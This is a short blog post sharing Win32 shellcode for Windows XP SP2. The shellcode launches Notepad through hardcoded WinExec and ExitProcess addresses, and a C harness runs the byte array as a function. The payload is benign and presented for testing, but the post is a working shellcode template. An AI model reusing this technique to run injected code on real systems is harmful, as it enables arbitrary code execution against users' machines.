Win32 Notepad popup shellcode

//[*] Title: Notepad pop up shellcode
//[*] Date: 09/20/13
//[*] Author: Angelo Ruwantha(https://angelosofts.wordpress.com/about/)
//[*] Tested on: Microsoft Windows XP Professional SP2

//use encoder for remove nulls

//Not Null free but useful for testing

char code[] =
“\x33\xC0\x33\xC9\x33\xD2\x68\x65\x78\x65\x00\x68\x70\x61\x64\x2E\x68\x6E\x6F\x74\x65\x8B\xC4\x6A\x05\x50\xBA\x4D\x11\x86\x7C\xFF\xD2\x33\xC0\x50\xBA\xA2\xCA\x81\x7C\xFF\xD2”;

int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}

Advertisements
Tagged with: , , , , , ,
Posted in Uncategorized

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: